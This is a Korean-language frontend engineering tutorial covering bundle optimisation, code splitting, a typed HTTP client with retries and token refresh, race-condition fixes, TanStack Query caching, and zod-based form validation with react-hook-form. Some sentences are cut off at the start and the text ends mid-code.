1. 첫 화면 청크(index-*.js)만 봅니다
— 지연 로드된 청크는 지금 급하지 않습니다
2. 가장 넓은 칸 3개의 이름을 적습니다
3. 칸마다 셋 중 하나로 분류
① 교체 : 같은 일을 하는 가벼운 것이 있다 (moment)
② 나중에 : 첫 화면에서 안 쓴다 (차트 · 에디터 · 엑셀)
③ import 수정: 일부만 쓰는데 통째로 들어왔다 (lodash · 아이콘)
4. 같은 라이브러리가 두 버전 들어왔는지 확인
npm ls react · pnpm why date-fns
5. 고친 뒤 다시 빌드해 숫자로 비교 (압축 후 크기)
date-fns@2, B 는 date-fns@4 를 원하면 둘 다 들어옵니다.
npm dedupe · pnpm dedupe 로 정리하고, 안 되면 overrides(npm) /
pnpm.overrides 로 맞춥니다. 버전을 강제로 맞출 땐 해당 화면을 꼭 다시 테스트하세요.
코드 스플리팅 — 지금 필요 없는 것은 나중에 🟡 중급
① 라우트 단위 — 가장 효과가 크고 가장 쉽습니다
import { lazy, Suspense } from "react";
import { Link, Route, Routes } from "react-router";
// import() 를 함수로 빼 두면 '미리 받기'에 재사용할 수 있습니다
const loadAdmin = () => import("./pages/AdminPage");
const AdminPage = lazy(loadAdmin); // default export 필요
const ReportPage = lazy(() =>
import("./pages/reports").then((m) => ({ default: m.ReportPage }))); // 이름 있는 export
export function App() {
return (
<Suspense fallback={<PageSkeleton />}>
<Routes>
<Route path="/" element={<Home />} />
<Route path="/admin/*" element={<AdminPage />} />
<Route path="/reports" element={<ReportPage />} />
</Routes>
</Suspense>
);
}
// 마우스를 올리거나 포커스하면 미리 받기 — 클릭 시점엔 이미 와 있습니다
<Link to="/admin" onMouseEnter={loadAdmin} onFocus={loadAdmin}>관리자</Link>
② 상호작용 단위 — 누를 때만 받는 무거운 기능
// 차트 라이브러리는 '통계 보기'를 누른 사람만 받습니다
export async function drawChart(canvas: HTMLCanvasElement, data: number[]) {
const { default: Chart } = await import("chart.js/auto");
return new Chart(canvas, {
type: "line",
data: { labels: data.map((_, i) => String(i + 1)),
datasets: [{ label: "주문", data }] },
});
}
// 에디터 · PDF 뷰어 · 지도 · 엑셀 내보내기 — 전부 같은 패턴
async function onExport() {
setBusy(true);
try {
const { exportToXlsx } = await import("./export-xlsx"); // 내 모듈로 감싸 두기
await exportToXlsx(rows);
} finally {
setBusy(false);
}
}
실무에선 이렇게 — tree-shaking 이 깨지는 패턴 🔴 실무
import 한 줄이 70 KB 를 부릅니다
// ❌ CommonJS 패키지를 통째로 — 안 쓰는 함수까지 전부
import _ from "lodash";
_.debounce(fn, 300);
// ✅ ESM 판에서 이름으로 — 번들러가 나머지를 지웁니다
import { debounce } from "lodash-es";
// ✅ 또는 현대적인 대체재 (ESM · 타입 내장)
import { debounce } from "es-toolkit";
// ❌ 이름을 문자열로 고르면 '전부 필요하다'고 판단됩니다
import * as Icons from "lucide-react";
const Icon = Icons[props.name as keyof typeof Icons];
// ✅ 쓰는 것만 명시적으로 모은 지도
import { Bell, Search, User } from "lucide-react";
const ICONS = { bell: Bell, search: Search, user: User } as const;
const Icon2 = ICONS[props.name]; // name: keyof typeof ICONS
// ❌ 기본 내보내기를 객체로 — 속성 단위로는 못 지웁니다
export default { formatPrice, formatDate, parseCsv };
// ✅ 이름 있는 내보내기
export { formatPrice, formatDate, parseCsv };
"부작용 있음"으로 오해받지 않게
// 내가 만드는 패키지(모노레포 packages/ui)의 package.json
{
"name": "@acme/ui",
"type": "module",
"sideEffects": ["**/*.css"], // ★ CSS 만 부작용, 나머지는 지워도 됨
"exports": { ".": "./src/index.ts" }
}
// ❌ 배럴(index.ts) 안에서 모듈 최상위 실행 코드
// packages/ui/src/index.ts
export * from "./Button";
export * from "./DataGrid"; // DataGrid.ts 최상위에서 registerLicense() 호출
// → 버튼만 써도 DataGrid 가 끌려옵니다
// ✅ 부작용은 함수 안으로 — 쓰는 쪽이 명시적으로 부르게
export function setupDataGrid(key: string) { registerLicense(key); }
import { Button } from "@/components" 한 줄이
개발 중에는 배럴이 가리키는 모든 파일을 변환하게 만듭니다. 큰 프로젝트에서는 직접 경로
(@/components/Button)를 쓰는 규칙을 린트로 강제하기도 합니다.
예산을 CI 에 걸어 다시 커지지 않게
// package.json npm i -D size-limit @size-limit/file
{
"scripts": { "size": "size-limit" },
"size-limit": [
{ "name": "첫 화면 JS", "path": "dist/assets/index-*.js", "limit": "170 kB" },
{ "name": "CSS", "path": "dist/assets/*.css", "limit": "30 kB" }
]
}
# .github/workflows/ci.yml 의 한 단계
- run: npm run build
- run: npx size-limit # 한도를 넘으면 실패 → PR 이 막힙니다
자주 만나는 교체 목록
| 무거운 것 | 대안 |
|---|---|
| moment | dayjs · date-fns · 단순 표시면 Intl(PROD 11) |
| lodash | lodash-es · es-toolkit · 표준 메서드(structuredClone · Object.groupBy) |
| axios | 얇은 fetch 래퍼(PROD 03) · ky |
| core-js 전체 폴리필 | 브라우저 목표(build.target) 올리기 · 필요한 것만 |
| 아이콘 폰트 통째로 | SVG 아이콘 개별 import |
| UI 키트 전체 CSS | 쓰는 컴포넌트만 · 유틸 CSS |
API 계층 설계 — 에러의 모양을 하나로
컴포넌트마다 fetch 를 직접 부르면 타임아웃 · 재시도 · 토큰 · 에러 처리가 파일마다 조금씩 다르게 복사됩니다.
장애 날 때 화면마다 다른 메시지가 뜨는 이유입니다. 이 일을 한 겹의 http 클라이언트로 모읍니다.
fetch 를 그대로 쓰면 생기는 일
// 흔히 보는 코드 — 세 군데가 틀렸습니다
const res = await fetch("/api/orders");
const data = await res.json();
setOrders(data);
// ① 404 · 500 에도 fetch 는 reject 하지 않습니다 → res.ok 를 직접 확인
// ② 204 · 빈 응답 · HTML 에러 페이지면 res.json() 이 SyntaxError
// → "Unexpected token '<'" 의 정체가 이것 (프록시가 준 HTML)
// ③ 타임아웃이 없습니다 → 서버가 안 끊으면 영원히 로딩 스피너
// 연결 실패 · DNS · CORS 차단은 전부 TypeError 하나로 옵니다
// "Failed to fetch" (Chrome) · "Load failed" (Safari) · "NetworkError…" (Firefox)
// → 메시지 문자열로 분기하지 말고 '종류'로 분류합니다
에러를 다섯 종류로 정규화
// src/shared/http/error.ts
export type ApiErrorKind = "network" | "timeout" | "aborted" | "http" | "parse";
export class ApiError extends Error {
readonly kind: ApiErrorKind;
readonly status?: number;
readonly code?: string; // 서버 업무 코드: OUT_OF_STOCK 등
readonly details?: unknown; // 필드 에러 등 (PROD 06)
constructor(kind: ApiErrorKind, message: string,
init: { status?: number; code?: string; details?: unknown; cause?: unknown } = {}) {
super(message, { cause: init.cause });
this.name = "ApiError";
this.kind = kind;
this.status = init.status;
this.code = init.code;
this.details = init.details;
}
get retryable(): boolean {
if (this.kind === "network" || this.kind === "timeout") return true;
return this.kind === "http" && (this.status === 429 || (this.status ?? 0) >= 500);
}
}
export function toApiError(e: unknown): ApiError {
if (e instanceof ApiError) return e;
if (e instanceof DOMException && e.name === "TimeoutError")
return new ApiError("timeout", "응답이 너무 늦습니다", { cause: e });
if (e instanceof DOMException && e.name === "AbortError")
return new ApiError("aborted", "요청이 취소되었습니다", { cause: e });
return new ApiError("network", "네트워크 연결을 확인해 주세요", { cause: e });
}
request() — 타임아웃 · 취소 · 재시도를 한 곳에 🟡 중급
// src/shared/http/request.ts
import { ApiError, toApiError } from "./error";
import { getAccessToken, refreshOnce } from "./auth";
const BASE = import.meta.env.VITE_API_URL ?? "/api";
type SendOpts = Omit<RequestInit, "body" | "signal"> & {
json?: unknown; // 객체를 주면 JSON 으로 직렬화
signal?: AbortSignal; // 호출한 쪽의 취소 (언마운트 · 새 검색)
timeoutMs?: number;
};
type Opts = SendOpts & { retries?: number };
export async function request<T>(path: string, opts: Opts = {}): Promise<T> {
const { retries, ...sendOpts } = opts;
const method = (opts.method ?? "GET").toUpperCase();
// ★ 멱등한 요청만 자동 재시도 — POST 를 재시도하면 주문이 두 번 들어갑니다
const max = retries ?? (method === "GET" ? 2 : 0);
for (let attempt = 0; ; attempt++) {
try {
return await send<T>(path, method, sendOpts, false);
} catch (e) {
const err = toApiError(e);
if (err.kind === "aborted" || !err.retryable || attempt >= max) throw err;
await sleep(backoff(attempt), opts.signal);
}
}
}
async function send<T>(path: string, method: string, opts: SendOpts, afterRefresh: boolean): Promise<T> {
const { json, signal, timeoutMs = 10_000, headers, ...init } = opts;
// 타임아웃과 호출자 취소를 하나로 — 어느 쪽이 먼저 와도 fetch 가 멈춥니다
const signals = [AbortSignal.timeout(timeoutMs)];
if (signal) signals.push(signal);
const h = new Headers(headers);
if (json !== undefined) h.set("Content-Type", "application/json");
const token = getAccessToken();
if (token) h.set("Authorization", `Bearer ${token}`);
const res = await fetch(BASE + path, {
...init, method, headers: h,
body: json === undefined ? undefined : JSON.stringify(json),
signal: AbortSignal.any(signals),
credentials: "include",
});
if (res.status === 401 && !afterRefresh) { // 토큰 만료 → 한 번만 재발급 후 재시도
await refreshOnce();
return send<T>(path, method, opts, true);
}
if (!res.ok) throw await httpError(res);
if (res.status === 204) return undefined as T;
try {
return (await res.json()) as T;
} catch (e) {
throw new ApiError("parse", "응답 형식이 올바르지 않습니다", { status: res.status, cause: e });
}
}
async function httpError(res: Response): Promise<ApiError> {
// 서버와의 약속: { code, message, details? } — 아니면 상태 코드로 대신합니다
const body = (await res.json().catch(() => null)) as
{ code?: string; message?: string; details?: unknown } | null;
return new ApiError("http", body?.message ?? `요청 실패 (${res.status})`,
{ status: res.status, code: body?.code, details: body?.details });
}
// 지수 백오프 + 지터 — 수천 명이 '동시에' 재시도하는 폭주를 흩뜨립니다
const backoff = (n: number) => Math.min(8_000, 500 * 2 ** n) * (0.5 + Math.random() / 2);
function sleep(ms: number, signal?: AbortSignal) {
return new Promise<void>((resolve, reject) => {
const t = setTimeout(resolve, ms);
signal?.addEventListener("abort", () => { clearTimeout(t); reject(signal.reason); }, { once: true });
});
}
AbortSignal.timeout · AbortSignal.any 는 2024년 이후 주요 브라우저에 모두 들어왔습니다.
아주 오래된 사파리를 지원해야 하면 setTimeout + AbortController 로 직접 묶으세요.
서버가 429 와 함께 Retry-After 를 주면 백오프 대신 그 값을 쓰는 것이 예의입니다.
실무에선 이렇게 — 재발급 큐와 도메인 API 🔴 실무
refreshOnce — 동시에 몇 개가 와도 한 번
// src/shared/http/auth.ts
import { ApiError } from "./error";
let accessToken: string | null = null; // ★ 메모리에만 (PROD 07)
export const getAccessToken = () => accessToken;
export const setAccessToken = (t: string | null) => { accessToken = t; };
let refreshing: Promise<void> | null = null;
export function refreshOnce(): Promise<void> {
// 이미 진행 중이면 그 Promise 를 그대로 돌려줍니다 — 이것이 '큐'
refreshing ??= (async () => {
try {
// refresh 토큰은 HttpOnly 쿠키라 JS 가 볼 수 없고, 볼 필요도 없습니다
const res = await fetch("/api/auth/refresh", { method: "POST", credentials: "include" });
if (!res.ok) {
setAccessToken(null);
window.dispatchEvent(new Event("session-expired")); // 로그인 화면으로 (한 번만)
throw new ApiError("http", "다시 로그인해 주세요",
{ status: 401, code: "SESSION_EXPIRED" });
}
const { accessToken: next } = (await res.json()) as { accessToken: string };
setAccessToken(next);
} finally {
refreshing = null; // 다음 만료 때 다시 시작할 수 있게
}
})();
return refreshing;
}
request() 로 보내면 그 요청이 401 을 받고 또 재발급을 부릅니다.
위처럼 맨 fetch 로 보내거나, afterRefresh 같은 표시로 재시도는 딱 한 번만 허용하세요.
도메인 API — 화면은 이것만 부릅니다
// src/features/orders/api.ts
import { request } from "@/shared/http/request";
export type Order = { id: string; total: number; status: "paid" | "shipped" | "canceled" };
export type Paged<T> = { items: T[]; nextCursor: string | null };
export const ordersApi = {
list: (cursor: string | null, signal?: AbortSignal) =>
request<Paged<Order>>(`/orders?cursor=${encodeURIComponent(cursor ?? "")}`, { signal }),
cancel: (id: string) =>
request<void>(`/orders/${encodeURIComponent(id)}/cancel`, { method: "POST" }),
};
// 화면 — TanStack Query 가 signal 을 넘겨 줍니다 (언마운트 · 키 변경 시 자동 취소)
const q = useQuery({
queryKey: ["orders", "list"],
queryFn: ({ signal }) => ordersApi.list(null, signal),
});
if (q.error instanceof ApiError && q.error.kind === "network") return <OfflineBanner />;
| kind | 사용자에게 | 자동 재시도 |
|---|---|---|
| network | "연결을 확인해 주세요" + 다시 시도 버튼 | GET 만 |
| timeout | "지연되고 있습니다" — 결제는 결과 조회로 안내 | GET 만 |
| aborted | 아무것도 띄우지 않음 (내가 취소한 것) | 안 함 |
| http 4xx | 서버 message · 필드 에러는 폼에 | 안 함 (429 제외) |
| http 5xx | "잠시 후 다시" + 에러 ID | GET 만 |
fetch 를 모르고, 도메인 API → request() → fetch 의 세 겹을 지납니다.
타임아웃 · 취소 · 멱등 요청만 재시도 · 401 재발급 큐 · 에러 다섯 종류 — 이 다섯 가지가 한 파일에 있으면 장애 때 고칠 곳도 한 곳입니다.레이스 컨디션 — 늦게 온 응답이 이긴다
"가끔 검색 결과가 엉뚱해요", "주문이 두 번 들어갔어요" — 재현이 안 되는 버그의 상당수는 순서 문제입니다. 네트워크는 보낸 순서대로 돌려주지 않습니다. 프론트엔드는 싱글 스레드라도 비동기 작업끼리는 늘 경주합니다.
처방 ① — 다음 입력이 오면 이전 요청을 끊는다
function useSearch(term: string) {
const [items, setItems] = useState<Item[]>([]);
const [error, setError] = useState<ApiError | null>(null);
useEffect(() => {
if (term.length < 2) { setItems([]); return; }
const ac = new AbortController();
const t = setTimeout(() => { // 250ms 디바운스
searchApi(term, ac.signal)
.then((r) => { setItems(r); setError(null); })
.catch((e: unknown) => {
const err = toApiError(e);
if (err.kind !== "aborted") setError(err); // 취소는 에러가 아닙니다
});
}, 250);
// ★ term 이 바뀌면 React 가 이 정리 함수를 먼저 부릅니다
return () => { clearTimeout(t); ac.abort(); };
}, [term]);
return { items, error };
}
처방 ② — 응답이 '지금 것'인지 확인 · ③ 키로 분리
// ② abort 할 수 없는 비동기(SDK · IndexedDB)일 때 — 깃발 하나
useEffect(() => {
let current = true;
loadProfile(userId).then((p) => {
if (current) setProfile(p); // userId 가 바뀐 뒤 온 응답은 버림
});
return () => { current = false; };
}, [userId]);
// ③ 가장 실무적인 답 — 검색어를 캐시 '키'에 넣는다
const deferred = useDeferredValue(term);
const { data = [], isFetching } = useQuery({
queryKey: ["search", deferred],
queryFn: ({ signal }) => searchApi(deferred, signal),
enabled: deferred.length >= 2,
placeholderData: (prev) => prev, // 새 결과 오기 전까지 이전 목록 유지
staleTime: 30_000,
});
// 늦게 온 "re" 응답은 ["search","re"] 칸에 들어갈 뿐
// 지금 보고 있는 ["search","react"] 칸을 덮지 못합니다
await delay(Math.random() * 1500) 을 넣어 순서를 흔듭니다.
언마운트 후 — 경고는 사라졌지만 버그는 남았다 🟡 중급
진짜 문제는 setState 가 아니라 '화면 일'
// React 18 부터 "unmounted component 에 setState" 경고는 없어졌습니다.
// 언마운트된 컴포넌트의 setState 는 그냥 무시되니까요.
// 남은 문제는 await 뒤에 오는 '부수 효과'입니다.
async function onSave() {
await ordersApi.save(form);
navigate("/orders"); // ❌ 저장 중 사용자가 다른 메뉴로 갔다면? → 강제로 끌려감
inputRef.current?.focus(); // ❌ 이미 사라진 화면
}
// ✅ 저장은 끝까지, '화면 일'만 화면이 살아 있을 때
function useAliveSignal() {
const ref = useRef<AbortController | null>(null);
useEffect(() => {
ref.current = new AbortController();
return () => ref.current?.abort();
}, []);
return () => ref.current?.signal.aborted ?? true;
}
const isGone = useAliveSignal();
async function onSave2() {
await ordersApi.save(form);
if (isGone()) return; // 떠났으면 이동·포커스 생략 (전역 토스트는 띄워도 됨)
navigate("/orders");
}
레이스 유형 한 장 정리
| 유형 | 증상 | 처방 |
|---|---|---|
| 응답 순서 뒤집힘 | 검색 · 필터 · 탭 전환 후 엉뚱한 목록 | abort · 키 분리 · 깃발 |
| props 바뀐 뒤 도착 | A 사용자 화면에 B 의 프로필 | effect 의존성 + 깃발 |
| 떠난 뒤 화면 일 | 다른 페이지에서 갑자기 이동 · 포커스 | 살아 있는지 확인 |
| 중복 제출 | 주문 · 결제 두 번 | pending 잠금 + 멱등 키 |
| 낙관적 갱신 실패 | 좋아요가 켜진 채 남음 | 롤백 + 재조회 |
| 조회가 갱신을 덮음 | 수정 직후 옛 값으로 되돌아감 | 갱신 전 cancelQueries |
실무에선 이렇게 — 중복 제출과 낙관적 업데이트 🔴 실무
중복 제출 — 화면 잠금은 1차, 서버 멱등 키가 최종
type Result = { ok: true; orderId: string } | { ok: false; message: string };
function OrderForm({ cartId }: { cartId: string }) {
// 폼을 여는 순간 키 하나 — 같은 주문 시도는 같은 키 (https · localhost 에서만 동작)
const [idemKey] = useState(() => crypto.randomUUID());
const [state, submit, isPending] = useActionState(
async (_prev: Result | null, fd: FormData): Promise<Result> => {
try {
const o = await request<{ id: string }>("/orders", {
method: "POST",
json: { cartId, memo: fd.get("memo") },
headers: { "Idempotency-Key": idemKey }, // 서버가 같은 키를 한 번만 처리
});
return { ok: true, orderId: o.id };
} catch (e) {
return { ok: false, message: toApiError(e).message };
}
},
null,
);
return (
<form action={submit}>
<textarea name="memo" />
<button disabled={isPending}>{isPending ? "주문 중…" : "주문하기"}</button>
{state && !state.ok && <p role="alert">{state.message}</p>}
</form>
);
}
Idempotency-Key 를 저장해 두고 같은 키면 처음 결과를 그대로 돌려줘야 끝납니다(멱등성은 서버 가이드의 대규모 탭 참고).
낙관적 업데이트 — 실패하면 되돌리고, 마지막엔 재조회
// React 19 — useOptimistic: 트랜지션이 끝나면 자동으로 실제 값으로 돌아갑니다
function LikeButton({ postId, liked, count }: { postId: string; liked: boolean; count: number }) {
const qc = useQueryClient();
const [opt, setOpt] = useOptimistic(
{ liked, count },
(s, next: boolean) => ({ liked: next, count: s.count + (next ? 1 : -1) }),
);
const toggle = () =>
startTransition(async () => {
const next = !opt.liked;
setOpt(next); // 즉시 반영
try {
await request(`/posts/${postId}/like`, { method: next ? "POST" : "DELETE" });
await qc.invalidateQueries({ queryKey: ["post", postId] }); // 서버 값으로 맞춤
} catch {
toast.error("좋아요를 반영하지 못했습니다"); // opt 는 알아서 원래 값으로
}
});
return (
<button aria-pressed={opt.liked} onClick={toggle}>
{opt.liked ? "♥" : "♡"} {opt.count}
</button>
);
}
// TanStack Query 판 — 목록 캐시를 직접 고치고, 실패하면 스냅샷으로 복구
useMutation({
mutationFn: (t: Todo) => todosApi.update(t),
onMutate: async (t) => {
await qc.cancelQueries({ queryKey: ["todos"] }); // ★ 진행 중 조회가 덮지 않게
const prev = qc.getQueryData<Todo[]>(["todos"]);
qc.setQueryData<Todo[]>(["todos"], (old = []) => old.map((x) => (x.id === t.id ? t : x)));
return { prev };
},
onError: (_e, _t, ctx) => { if (ctx?.prev) qc.setQueryData(["todos"], ctx.prev); },
onSettled: () => qc.invalidateQueries({ queryKey: ["todos"] }),
});
서버 상태 캐시 — staleTime 을 정하는 법
서버에서 가져온 데이터는 내 것이 아니라 남의 것의 사본입니다. 언제든 낡을 수 있고, 언제 다시 물어볼지를 정해야 합니다. TanStack Query(v5)는 그 결정을 숫자 두 개로 줄여 줍니다. 기본 사용법은 ⚛️ React 탭 a12, 여기서는 값을 정하는 기준입니다.
서버 상태와 화면 상태는 다른 물건
| 서버 상태 | 화면(클라이언트) 상태 | |
|---|---|---|
| 예 | 주문 목록 · 프로필 · 재고 | 모달 열림 · 입력 중 값 · 선택한 탭 |
| 주인 | 서버 (나는 사본) | 나 |
| 낡을 수 있나 | 항상 | 아니오 |
| 도구 | TanStack Query · SWR · RTK Query | useState · Zustand · Pinia |
앱 전체 기본값 — 처음 한 번 정한다
// src/app/query-client.ts
import { QueryClient } from "@tanstack/react-query";
import { ApiError } from "@/shared/http/error";
export const queryClient = new QueryClient({
defaultOptions: {
queries: {
staleTime: 60_000, // 기본 0 → 1분: 화면 이동마다 재요청하는 것을 막음
gcTime: 5 * 60_000, // (v4 의 cacheTime) 안 쓰는 캐시를 버리기까지
refetchOnWindowFocus: true, // 탭으로 돌아오면 낡은 것만 재검증 — 유지 권장
retry: (count, err) => // 4xx 는 재시도해도 소용없음
err instanceof ApiError && err.retryable && count < 2,
},
mutations: { retry: 0 }, // 쓰기는 자동 재시도 금지 (PROD 04 멱등성)
},
});
request() 도 GET 을 재시도하므로
여기서도 3번을 두면 최악의 경우 3 × 3 = 9번 요청이 나갑니다. 한 층에서만 재시도합니다.
값 정하기 — "얼마나 낡아도 괜찮은가" 🟡 중급
실무에선 이렇게 — 키 설계 · 무효화 · 페이지 넘기기 🔴 실무
키 공장 — 무효화 범위를 키 모양으로 정한다
// src/features/orders/keys.ts
export const orderKeys = {
all: ["orders"] as const,
lists: () => [...orderKeys.all, "list"] as const,
list: (f: { status?: string; page: number }) => [...orderKeys.lists(), f] as const,
detail: (id: string) => [...orderKeys.all, "detail", id] as const,
};
// 키는 '앞부분이 같으면' 함께 무효화됩니다 (접두사 일치)
qc.invalidateQueries({ queryKey: orderKeys.lists() }); // 모든 목록 · 상세는 그대로
qc.invalidateQueries({ queryKey: orderKeys.all }); // 주문 전부
// 변경 후 처리 — 두 가지 방법
const cancel = useMutation({
mutationFn: (id: string) => ordersApi.cancel(id),
onSuccess: (_void, id) => {
// ① 응답에 새 값이 있으면 직접 넣기 (요청 0번)
qc.setQueryData<Order>(orderKeys.detail(id),
(o) => (o ? { ...o, status: "canceled" } : o));
// ② 영향받는 목록은 무효화 (보고 있는 것만 즉시 재요청)
return qc.invalidateQueries({ queryKey: orderKeys.lists() });
},
});
isPending 이 유지됩니다.
"저장했는데 목록에 바로 안 보인다"는 제보가 줄어듭니다.
페이지네이션 · 무한 스크롤
// ① 번호 페이지 — 다음 페이지가 올 때까지 이전 페이지를 유지 (깜빡임 제거)
import { keepPreviousData, useInfiniteQuery, useQuery } from "@tanstack/react-query";
const { data, isPlaceholderData } = useQuery({
queryKey: orderKeys.list({ page }),
queryFn: ({ signal }) => ordersApi.page(page, signal),
placeholderData: keepPreviousData,
});
// 다음 페이지를 미리 — 버튼 누르면 즉시 표시
useEffect(() => {
if (data?.hasNext) qc.prefetchQuery({
queryKey: orderKeys.list({ page: page + 1 }),
queryFn: ({ signal }) => ordersApi.page(page + 1, signal),
});
}, [data, page, qc]);
// ② 무한 스크롤 — 커서 기반 (중간 삽입에도 중복 · 누락 없음)
const feed = useInfiniteQuery({
queryKey: ["feed"],
queryFn: ({ pageParam, signal }) => feedApi.list(pageParam, signal),
initialPageParam: null as string | null,
getNextPageParam: (last) => last.nextCursor, // null 이면 끝
getPreviousPageParam: (first) => first.prevCursor, // maxPages 를 쓰면 필수 — 버린 앞 페이지를 위로 올라갈 때 다시 받음
maxPages: 10, // 오래 내리면 앞 페이지는 버림 (메모리)
});
const items = feed.data?.pages.flatMap((p) => p.items) ?? [];
// 바닥 감지는 IntersectionObserver → feed.fetchNextPage()
// 수천 행이면 가상 스크롤(@tanstack/react-virtual)과 함께
?page=3 을 읽는 사이 새 글이 하나 올라오면 한 칸씩 밀려 같은 글이 두 번 보입니다.
피드처럼 앞에 계속 쌓이는 목록은 커서(마지막 id · 시각)로 받으세요.
폼과 검증 — 규칙은 한 곳, 메시지는 사람에게
프론트 검증은 사용자 편의, 서버 검증은 보안입니다. 둘 다 필요한데 규칙을 두 번 쓰면 반드시 어긋납니다. zod 스키마 하나를 프론트와 백이 같이 import 하고, 서버가 거절한 이유를 해당 입력칸 아래까지 정확히 돌려보내는 것이 이 섹션의 목표입니다.
스키마 — 프론트 · 백이 같은 파일을 import
// packages/schema/src/signup.ts (Zod 4 기준 · v3 는 z.string().email())
import { z } from "zod";
export const SignupSchema = z
.object({
email: z.email("이메일 형식이 아닙니다"),
password: z.string()
.min(8, "8자 이상 입력해 주세요")
.regex(/[0-9]/, "숫자를 하나 이상 넣어 주세요"),
passwordConfirm: z.string(),
nickname: z.string().trim()
.min(2, "2자 이상 입력해 주세요")
.max(20, "20자 이하로 입력해 주세요"),
agreeTerms: z.literal(true, { message: "약관에 동의해 주세요" }),
})
.refine((v) => v.password === v.passwordConfirm, {
path: ["passwordConfirm"], // ★ 에러를 붙일 칸을 지정
message: "비밀번호가 일치하지 않습니다",
});
export type Signup = z.infer<typeof SignupSchema>;
export const SIGNUP_FIELDS = ["email", "password", "passwordConfirm",
"nickname", "agreeTerms"] as const;
"password.tooShort")를 넣고 화면에서 번역합니다.
zod 자체는 🧰 도구 탭 o07 에서 자세히 다룹니다.
서버 — 거절할 땐 '어느 칸이 왜'까지
// apps/api — Express 5 (async 핸들러의 에러를 자동으로 넘겨줍니다)
import { z } from "zod";
import { SignupSchema } from "@acme/schema";
app.post("/api/signup", async (req, res) => {
const r = SignupSchema.safeParse(req.body);
if (!r.success) {
return res.status(422).json({
code: "VALIDATION_FAILED",
message: "입력값을 확인해 주세요",
details: z.flattenError(r.error).fieldErrors, // { email?: string[], … }
});
}
// 스키마로는 못 거르는 규칙 — DB 를 봐야 아는 것
if (await users.existsByEmail(r.data.email)) {
return res.status(409).json({
code: "EMAIL_TAKEN",
message: "이미 가입된 이메일입니다",
details: { email: ["이미 가입된 이메일입니다. 로그인하시겠어요?"] },
});
}
const user = await users.create(r.data);
res.status(201).json({ id: user.id });
});
{ code, message, details } 처럼 모든 API 가 같은 에러 모양을 주면
PROD 03 의 httpError() 하나로 전부 받을 수 있습니다. 서버마다 다르면 화면마다 파싱 코드가 생깁니다.
react-hook-form 연동 — 서버 에러를 칸 아래로 🟡 중급
폼 컴포넌트
import { useForm } from "react-hook-form";
import { zodResolver } from "@hookform/resolvers/zod";
import { SignupSchema, SIGNUP_FIELDS, type Signup } from "@acme/schema";
export function SignupForm() {
const { register, handleSubmit, setError,
formState: { errors, isSubmitting } } = useForm({
resolver: zodResolver(SignupSchema),
mode: "onTouched", // 처음엔 칸을 떠날 때, 한 번 틀린 칸은 입력마다 재검사
});
const onSubmit = async (data: Signup) => {
try {
await authApi.signup(data);
navigate("/welcome");
} catch (e) {
applyServerErrors(toApiError(e), setError, SIGNUP_FIELDS);
}
};
return (
<form onSubmit={handleSubmit(onSubmit)} noValidate>
<label htmlFor="email">이메일</label>
<input id="email" type="email" autoComplete="email"
aria-invalid={errors.email ? true : undefined}
aria-describedby={errors.email ? "email-err" : undefined}
{...register("email")} />
{errors.email && <p id="email-err" className="err">{errors.email.message}</p>}
{/* … 나머지 칸도 같은 모양 — Field 컴포넌트로 묶어 두세요 … */}
{errors.root?.server && <p role="alert">{errors.root.server.message}</p>}
<button disabled={isSubmitting}>가입하기</button>
</form>
);
}
서버 에러 매핑 — 한 번 만들어 모든 폼에
// src/shared/form/apply-server-errors.ts
import type { FieldValues, Path, UseFormSetError } from "react-hook-form";
import type { ApiError } from "@/shared/http/error";
export function applyServerErrors<T extends FieldValues>(
err: ApiError,
setError: UseFormSetError<T>,
fields: readonly Path<T>[],
) {
const details = (err.details ?? {}) as Record<string, string[] | undefined>;
let mapped = 0;
for (const name of fields) {
const msg = details[name]?.[0];
if (!msg) continue;
// 첫 번째 틀린 칸으로 포커스 — 키보드 · 스크린리더 사용자에게 중요
setError(name, { type: "server", message: msg }, { shouldFocus: mapped === 0 });
mapped++;
}
// 칸에 붙일 수 없는 에러(500 · 네트워크)는 폼 위 요약으로
if (mapped === 0) setError("root.server", { type: "server", message: err.message });
}
safeParse 하고 fieldErrors 를 돌려주는 패턴이
▲ Next.js 탭 f05 에 있습니다. 폼 기초(label · 제어/비제어)는 ⚛️ React 탭 a08 · 📄 HTML 탭 h05.
실무에선 이렇게 — 에러 메시지 UX 규칙 🔴 실무
| 질문 | 규칙 | 나쁜 예 → 좋은 예 |
|---|---|---|
| 언제 보여 주나 | 입력 중에는 참고, 칸을 떠날 때 처음 검사 (onTouched) | 첫 글자부터 빨간 글씨 → 다 쓰고 나갈 때 |
| 어디에 | 해당 칸 바로 아래 + 제출 실패 시 상단 요약 | alert() 한 번 → 칸마다 |
| 무엇을 | 무엇이 틀렸나가 아니라 어떻게 고치나 | "형식 오류" → "숫자를 하나 이상 넣어 주세요" |
| 색만으로? | 아이콘 · 문장 함께, aria-invalid · aria-describedby 연결 | 테두리만 빨강 → 문장 + 연결 |
| 제출 실패 후 | 첫 번째 틀린 칸으로 포커스 | 화면 맨 위에 머묾 → 칸으로 이동 |
| 서버 409 | 해당 칸에 + 다음 행동 제안 | "이미 존재" → "로그인하시겠어요?" 링크 |
| 서버 5xx | 입력값은 절대 지우지 않음 + 다시 시도 | 폼 초기화 → 그대로 두고 재시도 버튼 |
| 비밀번호 규칙 | 제출 전에 미리 보여 주기 | 틀린 뒤에 알려 줌 → 칸 아래 상시 안내 |
자주 밟는 함정
// ① 숫자 칸 — input 의 값은 항상 문자열입니다
register("qty", { valueAsNumber: true }); // 빈 칸이면 NaN → 스키마에서 걸러야
// 스키마 쪽: z.number({ message: "숫자를 입력해 주세요" }).int().min(1)
// ② 체크박스 하나 — 값이 boolean, 약관은 z.literal(true)
// ③ 공백만 넣은 이름 — .trim() 을 스키마에 (min 보다 앞에)
// ④ 날짜 칸 — "2026-10-01" 문자열 그대로 두고 서버로 (PROD 11)
// new Date() 로 바꾸는 순간 시간대 문제가 시작됩니다
// ⑤ 수정 폼 — 서버 데이터가 늦게 오면 defaultValues 가 비어 있음
useEffect(() => { if (data) reset(data); }, [data, reset]);
자동 저장 · 이탈 방지
// 긴 폼은 '임시 저장'이 사용자 신뢰를 지킵니다
const { watch, formState: { isDirty } } = form;
const values = watch();
useEffect(() => {
const t = setTimeout(() =>
sessionStorage.setItem("draft:post", JSON.stringify(values)), 800);
return () => clearTimeout(t);
}, [values]);
// 저장 안 하고 떠나려 하면 확인 (브라우저 기본 대화상자)
useEffect(() => {
if (!isDirty) return;
const onBeforeUnload = (e: BeforeUnloadEvent) => { e.preventDefault(); };
addEventListener("beforeunload", onBeforeUnload);
